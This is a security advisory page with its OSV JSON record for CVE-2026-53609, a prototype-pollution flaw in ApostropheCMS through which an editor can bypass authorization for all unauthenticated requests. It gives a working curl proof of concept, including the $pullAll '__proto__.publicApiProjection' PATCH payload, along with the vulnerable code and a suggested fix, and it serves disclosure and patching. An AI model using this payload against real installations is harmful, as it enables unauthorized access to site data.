GHSA-6H5J-32CF-4253
Vulnerability from github – Published: 2026-07-31 21:49 – Updated: 2026-07-31 21:49Summary
apos.util.set() traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.
A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.
Details
Root Cause — apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)
The function splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype:
set(o, path, v) {
path = path.split('.');
for (i = 0; i < path.length - 1; i++) {
o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype
}
o[path[i]] = v; // mutates Object.prototype
}
Source — implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)
User-controlled keys from the $pullAll operator are passed directly to apos.util.set():
_.each(patch.$pullAll, function(val, key) {
cloneOriginalBase(key); // uses _.has (hasOwnProperty)
self.apos.util.set(patch, key, ...); // key is fully attacker-controlled
});
cloneOriginalBase() does not sanitize __proto__ because _.has() performs an own-property check. Since __proto__ is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().
The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.
Gadget — publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)
publicApiCheck(req) {
if (!self.options.publicApiProjection) {
if (!self.canAccessApi(req)) {
throw self.apos.error('notfound');
}
}
}
Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.
Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:
!self.options.publicApiProjection
evaluates to false for all modules.
As a result, the authorization check is skipped for every subsequent request handled by the process.
Proof of Concept
Environment: ApostropheCMS v4.30.0, Node.js, MongoDB
Prerequisites: Editor-level credentials
Step 1 — Confirm Endpoint Is Protected (Unauthenticated)
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"name":"notfound","data":{},"message":"notfound"}
Step 2 — Obtain Editor Token
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
Step 3 — Poison Object.prototype via $pullAll
curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Cookie: apos-testapp.csrf=csrf" \
-H "X-XSRF-TOKEN: csrf" \
-d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
Response:
HTTP/1.1 200 OK
Step 4 — Authorization Bypass Confirmed (Unauthenticated)
curl -s http://localhost:3000/api/v1/@apostrophecms/user
Response:
{"pages":0,"currentPage":1,"results":[]}
The endpoint now returns a valid paginated response instead of notfound.
No credentials are supplied.
Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.
Cleanup
The pollution persists until the Node.js process is restarted.
Impact
Vulnerability Type
Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)
Who Is Impacted
Any ApostropheCMS installation where at least one editor-level account exists.
This is the default configuration for multi-user CMS deployments.
Security Impact
A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.
All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().
Verified affected endpoints include:
@apostrophecms/user@apostrophecms/global
Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.
The bypass affects every unauthenticated visitor until the server is restarted.
Suggested Fix
Reject dangerous prototype-related path segments before traversal:
if (
p === '__proto__' ||
p === 'constructor' ||
p === 'prototype'
) {
return;
}
Apply the same validation both:
- Inside
apos.util.set() - Before passing user-controlled keys into
apos.util.set()fromimplementPatchOperators()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.30.0"
},
"package": {
"ecosystem": "npm",
"name": "apostrophe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53609"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T21:49:25Z",
"nvd_published_at": "2026-06-12T22:16:52Z",
"severity": "CRITICAL"
},
"details": "\u003cimg width=\"1919\" height=\"1046\" alt=\"proto\" src=\"https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6\" /\u003e\n\n## Summary\n\n`apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator.\n\nA confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.\n\n---\n\n## Details\n\n### Root Cause \u2014 `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800)\n\nThe function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`:\n\n```js\nset(o, path, v) {\n path = path.split(\u0027.\u0027);\n for (i = 0; i \u003c path.length - 1; i++) {\n o = o[path[i]]; // when path[i] === \u0027__proto__\u0027, o becomes Object.prototype\n }\n o[path[i]] = v; // mutates Object.prototype\n}\n```\n\n### Source \u2014 `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737)\n\nUser-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`:\n\n```js\n_.each(patch.$pullAll, function(val, key) {\n cloneOriginalBase(key); // uses _.has (hasOwnProperty)\n self.apos.util.set(patch, key, ...); // key is fully attacker-controlled\n});\n```\n\n`cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`.\n\nThe same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.\n\n---\n\n### Gadget \u2014 `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148)\n\n```js\npublicApiCheck(req) {\n if (!self.options.publicApiProjection) {\n if (!self.canAccessApi(req)) {\n throw self.apos.error(\u0027notfound\u0027);\n }\n }\n}\n```\n\nOnce `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it.\n\nBecause JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition:\n\n```js\n!self.options.publicApiProjection\n```\n\nevaluates to `false` for all modules.\n\nAs a result, the authorization check is skipped for every subsequent request handled by the process.\n\n---\n\n## Proof of Concept\n\n**Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB\n\n**Prerequisites:** Editor-level credentials\n\n### Step 1 \u2014 Confirm Endpoint Is Protected (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"name\":\"notfound\",\"data\":{},\"message\":\"notfound\"}\n```\n\n---\n\n### Step 2 \u2014 Obtain Editor Token\n\n```bash\nTOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"editor\",\"password\":\"...\"}\u0027 \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n```\n\n---\n\n### Step 3 \u2014 Poison `Object.prototype` via `$pullAll`\n\n```bash\ncurl -X PATCH \"http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Cookie: apos-testapp.csrf=csrf\" \\\n -H \"X-XSRF-TOKEN: csrf\" \\\n -d \u0027{\"$pullAll\":{\"__proto__.publicApiProjection\":[]}}\u0027\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### Step 4 \u2014 Authorization Bypass Confirmed (Unauthenticated)\n\n```bash\ncurl -s http://localhost:3000/api/v1/@apostrophecms/user\n```\n\nResponse:\n\n```json\n{\"pages\":0,\"currentPage\":1,\"results\":[]}\n```\n\nThe endpoint now returns a valid paginated response instead of `notfound`.\n\nNo credentials are supplied.\n\nExecution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.\n\n### Cleanup\n\nThe pollution persists until the Node.js process is restarted.\n\n---\n\n## Impact\n\n### Vulnerability Type\n\n**Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321)\n\n### Who Is Impacted\n\nAny ApostropheCMS installation where at least one editor-level account exists.\n\nThis is the default configuration for multi-user CMS deployments.\n\n### Security Impact\n\nA single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.\n\nAll subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`.\n\nVerified affected endpoints include:\n\n- `@apostrophecms/user`\n- `@apostrophecms/global`\n\nBased on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.\n\nThe bypass affects every unauthenticated visitor until the server is restarted.\n\n---\n\n## Suggested Fix\n\nReject dangerous prototype-related path segments before traversal:\n\n```js\nif (\n p === \u0027__proto__\u0027 ||\n p === \u0027constructor\u0027 ||\n p === \u0027prototype\u0027\n) {\n return;\n}\n```\n\nApply the same validation both:\n\n1. Inside `apos.util.set()`\n2. Before passing user-controlled keys into `apos.util.set()` from `implementPatchOperators()`\n\n---",
"id": "GHSA-6h5j-32cf-4253",
"modified": "2026-07-31T21:49:25Z",
"published": "2026-07-31T21:49:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-6h5j-32cf-4253"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53609"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/pull/5464"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.